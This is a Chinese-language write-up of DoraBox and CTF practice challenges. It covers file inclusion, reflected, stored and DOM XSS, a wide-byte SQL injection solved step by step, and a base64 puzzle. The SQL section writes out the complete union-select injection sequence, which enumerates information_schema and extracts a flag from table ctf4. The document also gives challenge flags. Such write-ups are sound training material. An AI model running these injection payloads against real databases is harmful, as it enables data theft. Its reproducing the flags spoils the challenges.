DoraBox——文件包含、XSS跨站、两道ctf题

1.任意文件包含
这道题没有什么特别的限制，代码中使用include直接包含的，直接输入：txt.txt
2.目录限制文件包含
随便输入：php，发现include()里与原来相比多了一个“./”，所以直接访问./txt.txt
3.XSS 反射型
它指的是攻击者向目标网站中插入恶意代码（但恶意代码并未保存在目标网站中），只有当用户浏览该页面时，通过欺骗用户让用户自己点击链接（攻击者事先准备好的链接），才会触发恶意代码进行攻击。
输入框中输入：

查看源码进行比较，发现输入的代码被插入了源代码中，但是每次重新进入网页时，如果不输入代码，则源码中并不会出现第一次插入的代码
4.XSS 存储型
与反射型类似，但是存储型是只要用户浏览了包含此恶意代码的页面，就会触发恶意代码进行执行，并且存储型XSS是永久存储在服务器中的。
向输入框中输入：

与反射型不同的是，当我重新进入页面时，不需要再次输入，就会直接弹框，并且查看源码会发现，插入的代码并不会因为重新进入页面就从源码中消失。



5.XSS DOM型
还是向输入框中输入：

回车后出现弹窗

查看源码，发现输入的代码并未插入源码中，但是源码中有之前两种类型中没有的代码，这道题目前还不会。。。

6.sql injection 3 （SQL注入题）
输入：id=1’，发现被转义了，使用%df’宽字节注入
输入：id=1%df’，报错
输入：id=1%df’or 1=1%23，回显正常
开始查询字段数，输入：id=1%df’order by 2%23，回显正常
输入：id=1%df’order by 3 %23，报错，所以一共有2个字段
判断字段中有输出的位置：id=-1%df’union select 1,2 %23
开始爆数据库：id=-1%df’union select 1,database() %23
开始爆表名：id=-1%df’union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572)%23
（0x7361652d6368696e616c6f766572为库名sae-chinalover转化成的16进制数）

根据提示，开始爆表ctf4当中的所有字段名：id=-1%df’union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x63746634)%23

爆ctf4表中的字段flag中的数据：id=-1%df’union select 1,flag from ctf4%23
得到flag
7.easy!

随便找一个base64解密工具，解密后得到flag: nctf{this_is_base64_encode}